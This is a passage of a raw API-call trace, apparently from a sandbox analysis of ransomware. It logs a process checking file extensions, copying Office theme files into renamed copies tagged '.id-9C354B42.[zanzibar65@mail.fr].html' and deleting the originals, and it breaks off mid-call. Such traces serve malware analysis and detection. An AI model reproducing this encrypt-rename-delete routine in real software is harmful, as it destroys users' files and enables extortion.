lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.441] lstrlenW (lpString=".dbf") returned 4 [0274.441] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.441] lstrlenW (lpString=".1cd") returned 4 [0274.441] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.441] lstrlenW (lpString=".jpg") returned 4 [0274.441] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.441] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.441] lstrlenW (lpString="Urban.eftx") returned 10 [0274.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.442] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=19611) returned 1 [0274.442] CloseHandle (hObject=0x398) returned 1 [0274.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0274.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.442] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.442] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.443] GetLastError () returned 0x0 [0274.443] ReadFile (in: hFile=0x398, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x4c9b, lpOverlapped=0x0) returned 1 [0274.445] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0274.446] ReadFile (in: hFile=0x398, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.446] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0274.446] SetEndOfFile (hFile=0x3a0) returned 1 [0274.446] CloseHandle (hObject=0x3a0) returned 1 [0274.446] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.446] SetEndOfFile (hFile=0x398) returned 1 [0274.448] CloseHandle (hObject=0x398) returned 1 [0274.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 1 [0274.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.449] lstrlenW (lpString=".doc") returned 4 [0274.449] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.449] lstrlenW (lpString=".docx") returned 5 [0274.449] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.449] lstrlenW (lpString=".pdf") returned 4 [0274.449] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.449] lstrlenW (lpString=".xls") returned 4 [0274.449] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.449] lstrlenW (lpString=".xlsx") returned 5 [0274.449] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.449] lstrlenW (lpString=".ppt") returned 4 [0274.449] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.449] lstrlenW (lpString=".zip") returned 4 [0274.449] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.449] lstrlenW (lpString=".rar") returned 4 [0274.449] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.449] lstrlenW (lpString=".bz2") returned 4 [0274.449] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.449] lstrlenW (lpString=".7z") returned 3 [0274.449] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.449] lstrlenW (lpString=".dbf") returned 4 [0274.449] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.449] lstrlenW (lpString=".1cd") returned 4 [0274.449] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.450] lstrlenW (lpString=".jpg") returned 4 [0274.450] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.450] lstrlenW (lpString=".doc") returned 4 [0274.450] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString=".docx") returned 5 [0274.450] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.450] lstrlenW (lpString=".pdf") returned 4 [0274.450] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString=".xls") returned 4 [0274.450] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString=".xlsx") returned 5 [0274.450] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.450] lstrlenW (lpString=".ppt") returned 4 [0274.450] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.450] lstrlenW (lpString=".zip") returned 4 [0274.450] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString=".rar") returned 4 [0274.450] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString=".bz2") returned 4 [0274.450] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString=".7z") returned 3 [0274.450] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.450] lstrlenW (lpString=".dbf") returned 4 [0274.450] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.450] lstrlenW (lpString=".1cd") returned 4 [0274.450] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0274.451] lstrlenW (lpString=".jpg") returned 4 [0274.451] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.451] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.451] lstrlenW (lpString="Verve.eftx") returned 10 [0274.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.452] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=31224) returned 1 [0274.452] CloseHandle (hObject=0x2ec) returned 1 [0274.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20 [0274.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.452] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.452] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.453] GetLastError () returned 0x0 [0274.453] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x79f8, lpOverlapped=0x0) returned 1 [0274.455] WriteFile (in: hFile=0x398, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x7a00, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x7a00, lpOverlapped=0x0) returned 1 [0274.456] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.456] WriteFile (in: hFile=0x398, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0274.456] SetEndOfFile (hFile=0x398) returned 1 [0274.456] CloseHandle (hObject=0x398) returned 1 [0274.456] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.456] SetEndOfFile (hFile=0x2ec) returned 1 [0274.459] CloseHandle (hObject=0x2ec) returned 1 [0274.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 1 [0274.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.460] lstrlenW (lpString=".doc") returned 4 [0274.460] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.460] lstrlenW (lpString=".docx") returned 5 [0274.460] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.460] lstrlenW (lpString=".pdf") returned 4 [0274.460] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.460] lstrlenW (lpString=".xls") returned 4 [0274.460] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.460] lstrlenW (lpString=".xlsx") returned 5 [0274.460] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.460] lstrlenW (lpString=".ppt") returned 4 [0274.460] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.460] lstrlenW (lpString=".zip") returned 4 [0274.460] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.460] lstrlenW (lpString=".rar") returned 4 [0274.460] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.460] lstrlenW (lpString=".bz2") returned 4 [0274.460] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.460] lstrlenW (lpString=".7z") returned 3 [0274.460] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.460] lstrlenW (lpString=".dbf") returned 4 [0274.460] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.461] lstrlenW (lpString=".1cd") returned 4 [0274.461] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.461] lstrlenW (lpString=".jpg") returned 4 [0274.461] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.461] lstrlenW (lpString=".doc") returned 4 [0274.461] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.461] lstrlenW (lpString=".docx") returned 5 [0274.461] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.461] lstrlenW (lpString=".pdf") returned 4 [0274.461] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.461] lstrlenW (lpString=".xls") returned 4 [0274.461] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.461] lstrlenW (lpString=".xlsx") returned 5 [0274.461] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.461] lstrlenW (lpString=".ppt") returned 4 [0274.461] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.461] lstrlenW (lpString=".zip") returned 4 [0274.461] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.461] lstrlenW (lpString=".rar") returned 4 [0274.461] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.461] lstrlenW (lpString=".bz2") returned 4 [0274.461] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.461] lstrlenW (lpString=".7z") returned 3 [0274.461] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.462] lstrlenW (lpString=".dbf") returned 4 [0274.462] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.462] lstrlenW (lpString=".1cd") returned 4 [0274.462] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned 77 [0274.462] lstrlenW (lpString=".jpg") returned 4 [0274.462] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.462] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.462] lstrlenW (lpString="Waveform.eftx") returned 13 [0274.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.463] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=112504) returned 1 [0274.463] CloseHandle (hObject=0x2ec) returned 1 [0274.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0274.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.464] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.464] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.464] GetLastError () returned 0x0 [0274.464] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x1b778, lpOverlapped=0x0) returned 1 [0274.467] WriteFile (in: hFile=0x398, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x1b780, lpOverlapped=0x0) returned 1 [0274.469] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.469] WriteFile (in: hFile=0x398, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0274.469] SetEndOfFile (hFile=0x398) returned 1 [0274.469] CloseHandle (hObject=0x398) returned 1 [0274.469] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.469] SetEndOfFile (hFile=0x2ec) returned 1 [0274.799] CloseHandle (hObject=0x2ec) returned 1 [0274.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 1 [0274.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.814] lstrlenW (lpString=".doc") returned 4 [0274.814] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.814] lstrlenW (lpString=".docx") returned 5 [0274.814] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.814] lstrlenW (lpString=".pdf") returned 4 [0274.814] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString=".xls") returned 4 [0274.815] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString=".xlsx") returned 5 [0274.815] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.815] lstrlenW (lpString=".ppt") returned 4 [0274.815] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.815] lstrlenW (lpString=".zip") returned 4 [0274.815] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString=".rar") returned 4 [0274.815] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString=".bz2") returned 4 [0274.815] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString=".7z") returned 3 [0274.815] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.815] lstrlenW (lpString=".dbf") returned 4 [0274.815] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.815] lstrlenW (lpString=".1cd") returned 4 [0274.815] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.815] lstrlenW (lpString=".jpg") returned 4 [0274.815] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.815] lstrlenW (lpString=".doc") returned 4 [0274.815] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString=".docx") returned 5 [0274.815] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.815] lstrlenW (lpString=".pdf") returned 4 [0274.815] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.815] lstrlenW (lpString=".xls") returned 4 [0274.816] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.816] lstrlenW (lpString=".xlsx") returned 5 [0274.816] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.816] lstrlenW (lpString=".ppt") returned 4 [0274.816] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.816] lstrlenW (lpString=".zip") returned 4 [0274.816] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.816] lstrlenW (lpString=".rar") returned 4 [0274.816] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.816] lstrlenW (lpString=".bz2") returned 4 [0274.816] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.816] lstrlenW (lpString=".7z") returned 3 [0274.816] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.816] lstrlenW (lpString=".dbf") returned 4 [0274.816] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.816] lstrlenW (lpString=".1cd") returned 4 [0274.816] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0274.816] lstrlenW (lpString=".jpg") returned 4 [0274.816] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.816] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0274.816] lstrlenW 